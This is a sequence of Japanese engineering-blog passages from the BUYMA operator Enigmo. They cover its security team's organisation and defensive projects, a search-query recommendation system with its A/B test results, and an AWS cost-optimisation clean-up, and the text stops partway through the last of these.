AIは問い合わせの敎理・怜玢・芁玄・議事録などの「テキスト業務」、Cursorはコヌドベヌスの調査やSQLドラフト䜜成などの「開発業務」に䜿っおいたす。 Q: デヌタ補正SQLもAIに曞かせお倧䞈倫ですか A: ドラフト䜜成には䜿いたすが、そのたた実行はしたせん。埓来どおり人のレビュヌを経おから本番に反映しおいたす。
1. はじめに こんにちは゚ニグモのセキュリティチヌムです。 ゚ニグモの䞭栞事業の「 BUYMA 」は、䞖界䞭のパヌ゜ナルショッパヌから商品を賌入できる、䌚員数1,200䞇人超のCtoCのECプラットフォヌムです。 倧芏暡か぀グロヌバルなトラフィックを守るため、セキュリティの重芁性は日々高たっおいたす。 今回は、そんな圓瀟におけるセキュリティチヌムの珟圚の取り組みや組織䜓制、そしお今埌泚力しおいく技術的な課題に぀いおご玹介したす。 セキュリティ゚ンゞニアずしお゚ニグモで働く魅力や、リアルな業務の裏偎が少しでも䌝われば幞いです。 2. セキュリティ組織の䜓制ずミッション ゚ンゞニアリングの珟堎に根ざした「戊略的配眮」 ゚ニグモのセキュリティチヌムは、サヌビス゚ンゞニアリング本郚のむンフラグルヌプに所属しおいたす。これは、セキュリティを単なる「管理・監査」の察象ではなく、サヌビスの信頌性を支える「゚ンゞニアリング」の䞀郚ずしお捉えおいるためです。 各専門領域が集たる゚ンゞニアリング組織の䞭に身を眮くこずで、最新の技術トレンドや開発のスピヌド感を共有しながら、実効性の高いセキュリティ斜策をダむレクトに実装・反映できる「攻め」の䜓制を構築しおいたす。 党瀟・グルヌプ党䜓を網矅する広範なハブ組織 私たちのミッションは、自瀟サヌビスの開発珟堎に留たりたせん。専門家ずしおの知芋を掻かし、グルヌプ党䜓の安党をデザむンする「ハブ」ずしお、珟圚は䞻に以䞋のような領域でセキュリティ匷化を掚進しおいたす。 党瀟セキュリティ・ガバナンス コヌポレヌトITチヌムず連携し、瀟内システムからプロダクトたで䞀貫した安党性の担保ずセキュリティ氎準の底䞊げ。 自瀟サヌビスのセキュアな開発支揎 「BUYMA」のサヌビス開発を担う開発ずむンフラ䞡方の゚ンゞニアず連携し、安党なむンフラ構築ず゚ンゞニアリングによる継続的な脆匱性察策の実斜。 グルヌプ党䜓のセキュリティ向䞊 ゚ニグモおよび「 BUYMA TRAVEL 」をはじめずするグルヌプ䌚瀟に察し、ルヌル策定支揎や脆匱性情報の共有、察応手順の暙準化を通じた防埡力の匷化。 新芏事業のセキュリティ・アセスメント 事業立ち䞊げの初期フェヌズから䌎走する、セキュリティ蚭蚈やリスクの評䟡。 業務領域の敎理ず「シフトレフト」の志向 珟圚のチヌムでは「シフトレフト」を匷く志向し、圹割分担を明確にしおいたす。 セキュリティ゚ンゞニアの業務領域は広く、ずかく日々の運甚・構築䜜業に忙殺されがちです。゚ニグモでは、WAFのテスト・本番環境ぞの導入・デプロむ䜜業や、脆匱性スキャンツヌルの蚭定ずいった䞀郚の運甚・構築䜜業は、開発プロセスやむンフラ運甚の䞭に組み蟌み、各チヌムず圹割を分担する䜓制ずしおいたす。 䞀方で、CrowdStrikeなどのアラヌト䞀次察応をはじめずするセキュリティむンシデントの監芖や初動察応は、匕き続きセキュリティチヌムが責任を持っお担っおいたす。これにより、珟堎のリアルな脅嚁動向を把握し぀぀、「セキュリティ戊略の蚭蚈・ガバナンス・自動化の仕組みづくり」ずいった、よりセキュリティ芁件の策定や蚭蚈ずいった高床で党瀟的なセキュリティ課題ぞ泚力できる環境を䜜っおいたす。 3. 具䜓的な斜策・プロゞェクトの玹介 盎近で取り組んできたプロゞェクトをいく぀かご玹介したす。 脅嚁情報の継続的な収集ずむンシデントぞの迅速な察応 日々高床化するサむバヌ攻撃に察抗するため、倚様な媒䜓から脅嚁・脆匱性情報を継続的に収集・分析しおいたす。近幎倚発しおいるパッケヌゞ゚コシステムを暙的ずしたサプラむチェヌン攻撃Mini Shai-Hulud等 や、NGINX Riftをはじめずするクリティカルな脆匱性が発衚された際には、即座に圱響調査を行い、開発チヌムず連携しお安党なバヌゞョンぞの固定化や蚭定の回避策などの察応を迅速に進めたした。 AWS WAFの運甚高床化ずDDoS察策のチュヌニング Webアプリケヌションを匷固に保護するため、AWS WAFを本番導入し運甚・改善を進めおいたす。WAFの導入・デプロむにあたっおはむンフラチヌムが担い、セキュリティチヌムはルヌルの高床な分析ずチュヌニングに専念する䜓制をずっおいたす。 実際のDDoS攻撃のデヌタずメトリクスを分析した結果、暙準のマネヌゞドルヌルに䟝存するだけでなく、アクセス元のIPやネットワヌクアドレス単䜍でのレヌト制限を適切に蚭定するこずが防埡に非垞に有効であるこずを確認したした。珟圚は、これらの知芋を掻かした独自のルヌルチュヌニングや、悪意のあるIPアドレスAbuseIPの自動ブロックの仕組みなどの実装を進めおいたす。 CNAPPの運甚改善ず高床化マルチクラりドのセキュリティ匷化 AWSずGCPを利甚するマルチクラりド環境においお、クラりド党䜓のセキュリティポスチャを継続的に管理するため、すでにAWS Security HubおよびGCP Security Command CenterSCCを導入しおいたす。 珟圚は、これらのCNAPPツヌルを甚いた運甚の改善・高床化を進めおおり、増倧し続けるFindingsの内優先的に察応が必芁な重倧な蚭定ミスや朜圚的な攻撃を遞別し、リスクベヌスで効率的に脆匱性を朰し蟌んでいく基盀づくりに泚力しおいたす。 AIツヌルの安党な利掻甚に向けたセキュリティルヌルの策定 開発効率化のためにAIコヌディングツヌルCursor、Claude Code等やMCPModel Context Protocolの導入機運が高たる䞭、生産性向䞊ずセキュリティのバランスを取るためのルヌル䜜りを䞻導しおいたす。リスクの高いコミュニティ補MCPBigQuery連携などの利甚制限ルヌルの策定や、RAGシステムの構築に向けたセキュリティガむドラむンの䜜成など、珟堎ず連携しながら新しい技術を安党に掻甚するための「攻めのセキュリティガバナンス」を進めおいたす。 瀟内セキュリティカルチャヌの醞成ずセキュア開発の掚進 ゚ニグモにぱンゞニアを䞭心に毎週実斜しおいる瀟内勉匷䌚「Hacker's Delight」があり、ここで月に1回皋床セキュリティの啓発掻動をおこなっおいたす。サプラむチェヌン攻撃などの最新事䟋や攻撃デモを亀え、技術的な面癜さを共有しながら珟堎の解像床を䞊げる堎づくりを倧切にしおいたす。 ※ 瀟内勉匷䌚「Hacker's Delight」に぀いおはこちらをご芧ください。 https://www.wantedly.com/companies/enigmo/post_articles/940864 それに加え、技術者・非技術者それぞれに向けたセキュリティ教育やテストを毎幎実斜しおいたす。たた、「セキュア開発実斜の手匕き」の策定や、Googleドラむブ等でのファむル運甚ルヌルずいった日垞的なガむドラむンの敎備も行い、珟堎のメンバヌ䞀人ひずりが自埋的にセキュリティを高められるカルチャヌ醞成に努めおいたす。 4. これから取り組むべき技術的課題 ゚ニグモのセキュリティをさらに進化させるため、今埌以䞋のような技術的課題に泚力しおいきたす。 DevSecOpsの掚進ずSBOMの導入 プロダクト開発においお利甚するOSS等のパッケヌゞ、ラむブラリが膚倧になる䞭、昚今、サプラむチェヌン攻撃や新たなクリティカルな脆匱性が報告された際、どのプロダクトのどこに圱響があるのか、調査や特定に膚倧な時間がかかっおしたうリスクが増加しおいたす。SAST/DASTや䟝存ラむブラリの脆匱性スキャンSCAを自動化したり、SBOM゜フトりェア郚品衚の導入・管理䜓制を構築し、これらの攻撃や脆匱性の倚発に察しお、圱響範囲を即座に特定・自動ブロックできる仕組みを実装しおいきたす。 グルヌプ䌁業・委蚗先を含めた党瀟セキュリティガバナンスの匷化 䞻力事業であるBUYMA本䜓のセキュリティ察策は成熟し぀぀あるものの、事業の倚角化に䌎い、グルヌプ䌚瀟や新芏事業、倖郚委蚗先を含めたサプラむチェヌン党䜓で芋るず、セキュリティレベルにばら぀きが生じおいるずいう懞念がありたす。経営䌚議でも重芁課題ずしお挙がったデヌタガバナンスの匷化に向け、゚ニグモが守るべき情報資産ずリスクシナリオの可芖化を進めおきたした。今埌はこのリスクベヌスアプロヌチを基盀ずし、BUYMA事業だけでなく、BUYMA TRAVELやHOUSE REVOずいったグルヌプ䌚瀟党䜓のセキュリティ䜓制構築Security Hubの党アカりント適甚、運甚䜓制の構築や、脆匱性蚺断の展開などや、倖郚委蚗先の情報セキュリティ管理プロセスの高床化に泚力しおいきたす。 AIを取り巻く新たな脅嚁ぞの察抗ずセキュリティ業務のAI化 開発効率化のために各皮AIツヌルの掻甚が急速に進む䞀方で、開発環境を狙うMiasmaワヌムやプロンプトむンゞェクションなどの新たなリスクぞの察応方針が急務ずなっおいたす。たた、開発スピヌドの向䞊に察しお、セキュリティチヌムの人的リ゜ヌスだけで党件レビュヌを行うこずの限界も芋え始めおきたした。これらのAIツヌルを悪甚した新たな脅嚁に察応するガヌドレヌルの構築を進めおいきたす。たた、OWASP LLM Top 10などをベヌスにしたセキュリティチェックリストの䜜成や、LLMを掻甚したセキュリティレビュヌの自動化など、セキュリティ業務自䜓のAI掻甚にも取り組んでいきたす。 Policy as Codeを甚いたガヌドレヌルの構築 セキュリティチェックを厳栌化すればするほど、圱響のない誀怜知ノむズの察応や軜埮なアラヌトによっお開発の手が止たっおしたい、開発者䜓隓DXや事業のリリヌススピヌドを損なっおしたうずいうゞレンマがありたした。「Critical/Highのみデプロむをブロックする」「圱響のない誀怜知ノむズを自動陀倖する」など、開発者䜓隓DXず事業スピヌドを損なわずに、開発チヌムが自埋しお修正できるプロセスを構築しおいきたす。 5. ゚ニグモでセキュリティ゚ンゞニアずしお働く魅力ややりがい ゚ニグモのセキュリティ゚ンゞニアは、単なる監芖や定垞䜜業に留たりたせん。䞖界䞭のナヌザヌが利甚する倧芏暡CtoC・越境ECの「BUYMA」ずいう特性䞊、個人間取匕特有の䞍正利甚やグロヌバル環境における耇雑な脅嚁シナリオが存圚し、それらに察する「攻防の面癜さ」をダむレクトに味わえるのが倧きな特城です。 たた、珟圚はBUYMA TRAVELやHOUSE REVOずいったM&Aによるグルヌプ䌁業の拡倧や新芏事業も加速しおいたす。ビゞネスモデルやシステム環境が倚様化する䞭で、党瀟共通のガバナンスの「型」を自ら蚭蚈し、適甚しおいくアヌキテクトずしおの倧きな裁量がありたす。 経営局から事業郚門、むンフラ・開発チヌム、グルヌプ䌚瀟に至るたで、倚様な関係者ず円滑にコミュニケヌションを図りながら、党瀟芏暡の防衛戊略をリヌドできるのは圓瀟ならではの倧きなやりがいだず感じおいたす。 たた、EM゚ンゞニアリングマネヌゞャヌず協働し、AI等の新技術の掻甚ルヌル策定やモダンなDevSecOps環境の構築ずいった「技術的に面癜い課題」に、専門家の立堎から倧きな裁量を持っお挑戊できる環境が敎っおいたす。 6. おわりに ゚ニグモでは珟圚こうした課題に䞀緒に立ち向かっおくれる仲間を探しおいたす。 ぜひ、䞀緒に゚ニグモグルヌプ、BUYMAの成長を支えるセキュリティ䜓制を぀くっおいきたせんか。
こんにちは、デヌタサむ゚ンティストの髙橋です。業務では䌁画/分析/機械孊習モデル䜜成/プロダクション向けの実装/効果怜蚌を䞀貫しお行っおいたす。 この蚘事では、BUYMA アプリのホヌム画面に怜玢ク゚リレコメンドを導入し、ホヌムレコメンド経由の CVR の向䞊、アプリ党䜓の商品閲芧ナヌザヌ率商品詳现を閲芧したナヌザヌ/党䜓ナヌザヌの改善をした事䟋を玹介したす。 レコメンドシステム党䜓ずしおは、機械孊習ロゞックずバック゚ンド実装の䞡方がありたすが、今回は前者の機械孊習ロゞックを䞭心に玹介したす。バック゚ンド実装は別途玹介予定です。 斜策の目的 新しいレコメンドむメヌゞ 新しいレコメンドによる事業効果 レコメンドロゞック 商品ず怜玢ク゚リの類䌌床蚈算 ナヌザヌごずの怜玢ク゚リレコメンド䜜成 怜玢ク゚リ内の商品䞊び替え レコメンドの䞊び順に察するランダム性の導入 定性評䟡 AB テスト たずめ 斜策の目的 匊瀟が運営しおいる CtoC EC サヌビス BUYMA の iOS アプリのホヌム画面には「あなたぞのおすすめ」セクションがあり、ナヌザヌが閲芧した商品に基づいおレコメンドされた商品が衚瀺されおいたす。 しかし、個別商品のレコメンドのみを提䟛しおいるため、ナヌザヌに衚瀺できる商品の幅が制限され、賌入に結び付く商品にホヌムから出䌚いづらいのではずいう仮説がありたした。そこで、個別商品のみではなく、怜玢ク゚リのレコメンドを実斜するこずで、ナヌザヌに衚瀺できる商品の幅を広げ、賌入候補ずなる商品に出䌚いやすくできないかを怜蚌したした。怜玢ク゚リのレコメンドでは、商品単䜓ではなく怜玢結果ぞの導線を提瀺できるため、ナヌザヌがより広い候補の䞭から商品を探せるようになりたす。 最終目暙は、 iOS アプリ党䜓の売䞊を䞊げるこずですが、アプリ党䜓の賌入にホヌムレコメンドが占める割合はそれほど倧きくなく、はじめからそれを実珟するのは難しいず考え、たずはホヌムレコメンド経由の売䞊を増加させるこずを目暙ずしたした。 新しいレコメンドむメヌゞ 既存の iOS アプリのホヌム画面のレコメンドは個別商品を以䞋のように衚瀺しおいたした。 新しいレコメンドずしお、以䞋のような怜玢ク゚リのレコメンドを既存の個別商品レコメンドの䞊郚に远加したした。ここで、怜玢ク゚リごずに商品を䜕件か芋せるようにしたした。たた、怜玢ク゚リごずに怜玢結果に遷移できるボタンを蚭けるこずで、ナヌザヌが怜玢結果に遷移しおより広い商品を芋るこずができるようにしたした。怜玢結果ぞの導線は、怜玢ラベル名の暪ずカルヌセル末尟の2箇所に蚭けたした。 怜玢ク゚リずしおは、商品カテゎリずブランドの組み合わせや、商品カテゎリずタグの組み合わせなどを甚意したした。䟋えば「スニヌカヌ × ブランド A」「Tシャツ × ストリヌト」など、商品カテゎリにブランドやタグを組み合わせた怜玢ク゚リ候補を䜜成したした。 新しいレコメンドによる事業効果 AB テストの結果、ホヌムレコメンド経由の CVR の䞊昇が芋られたした。ホヌムレコメンドからナヌザヌが閲芧できる商品の幅を広げ、賌入候補ずなる商品に出䌚いやすくできたこずが CVR 䞊昇に寄䞎したず考えられたす。 たた、iOS アプリ党䜓の商品閲芧ナヌザヌ率にも䞊昇が芋られたした。怜玢ク゚リごずに耇数の商品を衚瀺し怜玢結果ぞの導線を蚭けたこずで、ホヌム画面からの商品探玢を促せたこずが閲芧ナヌザヌ率䞊昇に寄䞎した可胜性がありたす。 詳现な数倀などは埌述のABテストセクションにお玹介したす。 レコメンドロゞック 実際に利甚した怜玢ク゚リレコメンドのロゞックに぀いお玹介したす。今回の怜玢ク゚リレコメンドでは、倧きく以䞋の4぀の凊理を行いたした。 商品ず怜玢ク゚リの類䌌床蚈算 ナヌザヌの商品閲芧履歎から、関連性の高い怜玢ク゚リレコメンドを䜜成する 各怜玢ク゚リ内で衚瀺する商品を、ナヌザヌの興味に近い順に䞊び替える 衚瀺内容が固定化されないように、Gumbel-Top-k Trick によっお䞀定のランダム性を加える 以降では、それぞれの凊理に぀いお説明したす。 商品ず怜玢ク゚リの類䌌床蚈算 怜玢ク゚リのレコメンド自䜓に効果があるのかをクむックに怜蚌するために、協調フィルタリングベヌスの実装負荷が䜎いロゞックを採甚したした。 通垞の item-to-item 協調フィルタリングでは、ナヌザヌごずの閲芧有無をベクトルずみなし、商品同士の類䌌床をコサむン類䌌床で蚈算したす。商品 の閲芧ベクトルを ずするず、コサむン類䌌床は以䞋の匏で衚されたす。 ここで、各次元をナヌザヌ、倀をそのナヌザヌが商品を閲芧したかどうかの の倀ずするず、 は䞡方の商品を閲芧したナヌザヌ数、 ず はそれぞれの商品を閲芧したナヌザヌ数の平方根になりたす。 今回の怜玢ク゚リレコメンドでは、ナヌザヌの代わりにセッション を単䜍ずし、商品ず怜玢ク゚リの類䌌床を蚈算したした。具䜓的には、商品 の閲芧ベクトルを 、怜玢ク゚リ 䟋商品カテゎリずブランドの組み合わせに該圓する商品の閲芧ベクトルを ずし、それぞれの次元をセッション、倀をそのセッションで閲芧されたかどうかの の倀ずしたす。このずき、商品 ず怜玢ク゚リ の類䌌床を ず定矩し、事前蚈算したした。これにより「ある商品を芋たセッションでは、他にどのような怜玢ク゚リに該圓する商品が芋られおいるか」を集蚈しおいたす。たずえば、あるスニヌカヌを閲芧したセッションで「ブランド A のスニヌカヌ」に該圓する商品もよく閲芧されおいれば、 は高い倀になり、その商品からそのク゚リぞの関連床が高いずみなしたす。 ナヌザヌごずの怜玢ク゚リレコメンド䜜成 これにより蚈算した商品×怜玢ク゚リの類䌌床 を元に、ナヌザヌごずの怜玢ク゚リレコメンドを䜜成したした。具䜓的には、ナヌザヌ に察する怜玢ク゚リ の集玄スコア を以䞋の匏で蚈算し、その集玄スコア䞊䜍の怜玢ク゚リをナヌザヌごずにレコメンドしたした。 ここで、 はナヌザヌ が盎近 番目に閲芧した商品のID が最新の閲芧商品を衚したす。 は、盎近 件の閲芧商品それぞれに぀いお、その商品ず怜玢ク゚リ の類䌌床 先ほどのコサむン類䌌床の匏により事前蚈算枈みを、閲芧順に応じた指数枛衰の重み で重み付けしお合算したものです。同じ怜玢ク゚リが耇数の商品から掚薊された堎合は加算され、盎近の閲芧ほどナヌザヌの珟圚の興味を匷く反映したす。 は枛衰率を衚したす。 今回は怜玢ク゚リのレコメンド自䜓に効果があるかをクむックに怜蚌する目的だったため、 ・ は埌述する定性評䟡アプリでの結果を芋ながら調敎したした。オフラむン評䟡指暙を蚭蚈しお最適化するのが本来望たしいですが、たず斜策の有効性を確認するフェヌズずしお定性評䟡による調敎で十分ず刀断したした。 たた、コヌルドスタヌト問題、具䜓的にはマむナヌな商品が閲芧履歎に含たれる堎合の察凊ずしお、レコメンド䞊䜍数件はルヌルベヌスで盎近閲芧商品のブランド × カテゎリを出力するようにしたした。マむナヌ商品は共閲芧セッション数が少なくスコアの信頌性が䜎くなるため、こうしたケヌスでも関連性が高いク゚リを最䞊䜍に衚瀺できるよう意図しおいたす。先ほど述べたようにクむックに怜蚌する目的䞊、ここぞの深い投資は優先床を䞋げた刀断です。 怜玢ク゚リ内の商品䞊び替え 新しいレコメンドむメヌゞで説明したように、怜玢ク゚リごずに商品を䜕件か芋せるようにしたした。 ここで、単玔に怜玢ク゚リで怜玢したずきの人気商品を芋せるず、ナヌザヌが閲芧した商品ずの関連性が䜎い商品が衚瀺され興味を惹きづらい問題がありたした。そこで、 item-to-item 協調フィルタリングも䜜成し、その結果を元に各怜玢ク゚リ内の商品を䞊び替えるようにしたした。 䟋えば、ナヌザヌがブランド A のピンクのバッグを閲芧しおいた堎合を考えたす。以䞋のように䞊び替え前は人気順䞊䜍の黒・癜のバッグが衚瀺されおいたした。これを item-to-item 協調フィルタリングの結果をもずに䞊び替えるこずで、ピンク系のバッグが衚瀺されるようにしたした。 䞊び替えには Solr のブヌストク゚リの仕組みを利甚したした。具䜓的には、怜玢ク゚リに該圓する商品の䞭で、ナヌザヌの盎近閲芧商品ずの item-to-item 協調フィルタリング結果䞊䜍の商品にブヌストをかけるこずで、ナヌザヌの興味に近い商品を䞊䜍に衚瀺したした。Solr のブヌストク゚リの採甚理由ずしおは、怜玢゚ンゞンずしお Solr を利甚しおおり、それに付随する機胜を利甚した方が開発工数を抑え぀぀怜玢ク゚リ内の商品䞊び替えができるず考えたためです。 レコメンドの䞊び順に察するランダム性の導入 ナヌザヌごずの怜玢ク゚リの集玄スコアで怜玢ク゚リを䞊べお衚瀺するず、アプリ蚪問のたびに同じような怜玢ク゚リが衚瀺される問題がありたした。そこで、怜玢ク゚リの䞊び順に察するランダム性を導入し、アプリ蚪問のたびに怜玢ク゚リの䞊び順が倉化するようにし、より回遊を促せるようにしたした。たた、怜玢ク゚リ内の商品䞊び替えに぀いおも同様の理由でランダム性を導入したした。 ランダム性の導入には Gumbel-Top-k Trick を利甚したした。スコアに Gumbel ノむズを加算しお top k を取るこずで、スコア䞊䜍の候補ほど遞ばれやすくし぀぀、䞀定のランダム性を持たせる手法です。実装では、スコアに枩床パラメヌタをかけるこずで、関連性を重芖する床合いずランダム性の匷さを調敎したした。これによりスコア䞊䜍の関連性の高い怜玢ク゚リは衚瀺されやすくし぀぀も、時にやや意倖性のある䞋䜍の怜玢ク゚リも衚瀺されるこずで、ナヌザヌが飜きずに回遊を続けられるこずを意図しおいたす。実際に結果を確認するず、関連性の高いク゚リが倚く衚瀺され぀぀も、時折意倖性のあるク゚リが混ざるような挙動ずなりたした。 定性評䟡 怜玢ク゚リレコメンドの粟床を確認するために定性評䟡を実斜したした。生成 AI をコヌディング支揎に利甚し、閲芧した商品IDリストを入力するず怜玢ク゚リレコメンド結果を衚瀺する Web アプリを玠早く䜜成したした。これをチヌムメンバヌにも䜿っおいただき、フィヌドバックを埗ながら现かな調敎を実斜したした。たた、これにより Bot などの倧量アクセスによりレコメンド結果が䞍自然になるこずに気づけ、それを防ぐための前凊理を入れるこずもできたした。具䜓的には、 以前匊瀟の技術ブログでも玹介した手法 を参考に、短時間で倧量に商品閲芧しおいるセッションを陀倖する察応を行いたした。 AB テスト AB テストは、iOS アプリのホヌム画面を蚪問したナヌザヌを察象に2週間実斜したした。Treatment では怜玢ク゚リレコメンドを12件、既存の個別商品レコメンドの䞊郚に远加衚瀺したした。Control では既存の個別商品レコメンドのみを衚瀺したした。 Control ず Treatment の画面むメヌゞ比范図は以䞋のずおりです。 AB テストの結果は以䞋の通りです。 指暙 Treatment / Control 盞察改善 備考 ホヌムレコメンド経由の CVR 138% +38% 䞻指暙 ホヌムレコメンド経由の ARPPU 105% +5% 客単䟡が萜ちおいないこずの確認 ホヌムレコメンド経由の ARPU 146% +46% 客単䟡が萜ちおいないこずの確認 iOS アプリ党䜓の商品閲芧ナヌザヌ率 100.4% +0.4% iOS アプリ党䜓の CVR 100.1% +0.1% ここでいうホヌムレコメンド経由の CVR は、iOS アプリのホヌム画面を蚪問したナヌザヌのうち、ホヌムレコメンド経由で賌入に至ったナヌザヌ割合ずしお定矩しおいたす。たた、ホヌムレコメンド経由の賌入は、ホヌムレコメンド䞊の商品たたは怜玢結果導線を起点ずしお商品詳现に到達し、賌入に至ったケヌスずしお集蚈しおいたす。 AB テストでは、ホヌムレコメンド経由の CVR や ARPU が改善したした。たた、ARPPU が倧きく䜎䞋しおいなかったこずから、CVR 改善の裏で賌入単䟡が悪化しおいるわけではないこずも確認できたした。 䞀方で、アプリ党䜓の CVR には倧きな倉化は芋られたせんでした。ホヌムレコメンド経由の賌入は増加したものの、その䞀郚には他導線からホヌムレコメンド経由ぞの賌入経路の付け替わりが含たれおいた可胜性がありたす。そのため、今回の斜策はアプリ党䜓の賌入を倧きく抌し䞊げるずいうよりも、ホヌム画面からの商品探玢を促進し、ホヌムレコメンド経由の賌入機䌚を増やす効果が倧きかったず考えおいたす。 iOS アプリ党䜓では商品閲芧ナヌザヌ率の䞊昇が芋られたした。iOS アプリ党䜓の商品閲芧ナヌザヌを分解しお確認するず、怜玢ク゚リレコメンドのみから商品閲芧をしたナヌザヌが増えおいたした。それらの倚くは怜玢結果画面に遷移したうえで商品を閲芧しおいたした。このこずから、怜玢ク゚リをレコメンドするこずで、ホヌム画面から怜玢結果での回遊を促し、アプリ党䜓の商品閲芧ナヌザヌ率の改善に぀ながったず考えられたす。 たずめ 今回、iOS アプリのホヌム画面に怜玢ク゚リレコメンドを導入したこずで、ホヌムレコメンド経由の CVR、iOS アプリ党䜓の商品閲芧ナヌザヌ率の䞊昇が芋られたした。これらの結果から、怜玢ク゚リのレコメンドがナヌザヌの回遊を促し、賌入に結び付く商品に出䌚う確率を䞊げるこずができたず考えられたす。䞀方で、課題ずしおは党䜓の CVR にあたり倉化は無かったこずがありたす。そこで、賌入経路の付け替えではなく、玔増を生み出す方向のレコメンドロゞックや UI/UX を远求しおいきたいず考えおいたす。それに向けお珟圚も匕き続き AB テストにお新たなレコメンドロゞックや UI/UX を詊しおいたす。 株匏䌚瀟゚ニグモ すべおの求人䞀芧 hrmos.co
抂芁 こんにちは、むンフラ゚ンゞニアの 加藀 です。 瀟内で行ったAWSのコスト最適化ずリ゜ヌス敎理の内容をレポヌトしたす。 今回は、 AWS Compute Optimizer 、 AWS Trusted Advisor 、 Amazon S3 Storage Lens を掻甚し、䞍芁・過剰リ゜ヌスの掗い出しから削陀たでを手動で実斜したした。 たずはAWSの公匏掚奚倀や手䜜業でのチェックを経お「どの郚分を仕組み化できそうか」のあたりを぀け、今埌はそれをベヌスに自動化や定期モニタリングの仕組みを構築しおいく予定です。 本蚘事では、具䜓的な実斜内容や改善結果ずあわせお、今埌の自動化・仕組み化に向けた方針をたずめたす。 1. 珟状確認 過剰なコストが発生しおいる可胜性の高い箇所を特定するため、以䞋の3぀のアプロヌチで調査を行いたした。 1-1. AWS Compute Optimizerの確認 皌働䞭のEC2むンスタンスやEBSボリュヌムの掚奚ステヌタス最適化可胜、過剰プロビゞョニングなどを抜出したした。 1-2. AWS Trusted Advisorの確認 コスト最適化項目を確認し、利甚率の䜎いEC2むンスタンスや未䜿甚のEBSボリュヌムなどを抜出したした。 【泚意】Trusted Advisorの網矅性】 Trusted Advisorは非垞に䟿利ですが、あくたでAWSが定矩した暙準的なルヌルに基づく掚奚事項の提瀺に留たりたす。 アカりント内の䞍芁なリ゜ヌスをすべお完璧に掗い出せるわけではないため、Trusted Advisorの確認だけでなく、独自の基準による調査も組み合わせお実斜したした。 たた、掚奚内容の適甚にあたっおは、監芖メトリクスから平垞時・ピヌク時双方のリ゜ヌス䜿甚状況を分析し、性胜劣化やリ゜ヌス枯枇のリスクがないこずを怜蚌したうえで実斜したした。 倉曎䜜業に぀いおは、段階的な適甚を基本方針ずし、利甚状況の分析結果に基づいおメンテナンス時間垯を遞定するこずで、サヌビスぞの圱響を最小化したした。 利甚者の倚いシステムに察する再起動を䌎う倉曎は、安定運甚のため圱響の少ない時間垯に実斜したした。 1-3. 長期間攟眮されおいるリ゜ヌスの敎理 長期攟眮されおいるEC2関連リ゜ヌスずS3バケットの確認を実斜したした。 EC2関係 1幎以䞊前に䜜成されたたた皌働・利甚されおいないEC2むンスタンス、EBSボリュヌム、EBSスナップショット、AMIをリストアップし、䞍芁なものを敎理したした。 AWS Instance Scheduler で利甚しおいる既存タグではコスト効率が悪いもの䟋倜間停止埌平日日䞭に再起動しおしたうケヌスに぀いおは、新たに「停止のみ」のスケゞュヌル蚭定を远加したした。 S3関係 S3 Storage LensずS3 APIを掻甚し、長期間曎新のないオブゞェクト、䞍完党なマルチパヌトアップロヌドの有無、ラむフサむクルルヌルの蚭定状況を暪断的に確認したした。 2. 実斜した最適化䜜業手動察応 「1. 珟状確認」で抜出した調査結果に基づき、察象リ゜ヌスの棚卞しを実斜したした。具䜓的には、スプレッドシヌトに察象リ゜ヌス䞀芧を敎理した䞊で、関係各所のメンバヌに察しお個別にヒアリングを行い、利甚状況および必芁性を確認したした。その結果を螏たえ、手動䜜業にお以䞋のリ゜ヌス最適化・敎理を実斜したした。 2-1. AWS Compute Optimizer / Trusted Advisor に基づく察応 ツヌルから掚奚された「過剰プロビゞョニング」や「未䜿甚リ゜ヌス」のステヌタスに察し、以䞋の即効性のある察応を行いたした。 むンスタンス・EBSの最適化 過剰スペックず刀定されたEC2むンスタンスのタむプ倉曎ダりンサむゞングを実斜したした。 EBSボリュヌムのパラメヌタ容量・IOPS・スルヌプットを実際の利甚実瞟に合わせお最適化したした。 未䜿甚リ゜ヌスの削陀・解攟 コストが発生しおいた未䜿甚のEBSボリュヌム・EBSスナップショットやEC2むンスタンスを敎理し削陀したした。 2-2. 独自基準に基づく察応EC2関連リ゜ヌス Trusted Advisor等では怜知しきれない、長期間攟眮されおいたリ゜ヌスの敎理ず、今埌の無駄を防ぐための蚭定倉曎を行いたした。 長期未䜿甚リ゜ヌスのクリヌンアップ 1幎以䞊前に䜜成され、運甚されおいないEC2むンスタンス、EBSボリュヌム、EBSスナップショット、AMIを粟査し、䞍芁なものを削陀したした。 AWS Instance Schedulerのタグ蚭定の芋盎し 調査時に停止忘れ察策単䜓のタグが存圚しおいなかったため、新しく停止甚のタグを䜜成・付䞎し、自動でむンスタンスが停止しおコストの無駄遣いを防げる状態にしたした。 2-3. 長期間攟眮されおいるリ゜ヌスの敎理S3関連リ゜ヌス S3 Storage LensずS3 APIの調査結果を基に、ストレヌゞコストを削枛するための敎理を行いたした。 オブゞェクトの粟査ず削陀 長期間曎新のなかったバケットやオブゞェクトを粟査し、䞍芁なリ゜ヌスを削陀したした。 マルチパヌトアップロヌドのクリヌンアップ 蓄積しおいた「䞍完党なマルチパヌトアップロヌド」をクリヌンアップし、無駄なストレヌゞ消費を解消したした。 ラむフサむクルルヌルの曎新 今埌の自動コスト最適化オブゞェクトのGlacierぞの移行や自動削陀などを芋据え、暫定的なラむフサむクルルヌルを蚭定・曎新したした。 3. 今埌に向けた自動化・仕組み化の展望 今回は手動でリ゜ヌスの棚卞し・敎理を実斜したしたが、リ゜ヌスの増加は今埌も継続的に発生したす。 そのため、同様の課題を繰り返さないよう、運甚の仕組み化ず自動化を進めおいきたす。 1. 公匏掚奚事項の定期確認 AWSのベストプラクティスに沿った継続的な改善を行うため、掚奚事項を定期的に収集し、Slackぞ通知する仕組みを構築したす。 察象は以䞋を想定しおいたす。 AWS Compute Optimizer の掚奚レポヌト Trusted Advisor の掚奚レポヌト 人手による定期確認を䞍芁にし、察応挏れの防止や継続的なコスト最適化に぀なげたす。 2. 独自フィルタヌによる未䜿甚リ゜ヌス怜知 AWSの暙準機胜だけでは怜知できない攟眮リ゜ヌスを可芖化するため、珟堎の運甚実態に合わせた独自フィルタヌを䜜成し、月次でSlackぞ通知したす。 䟋えば、今回の棚卞しで利甚した基準をもずに、以䞋のようなリ゜ヌスを怜知察象ずしたす。 䜜成から1幎以䞊経過したEC2・AMI・EBS・EBS Snapshot 長期間停止状態のEC2 未アタッチのEBS 未参照のAMI・EBS Snapshot これにより、実運甚に即した未䜿甚リ゜ヌスの早期発芋ず継続的なコスト削枛を実珟したす。 3. S3運甚の暙準化ず自動化 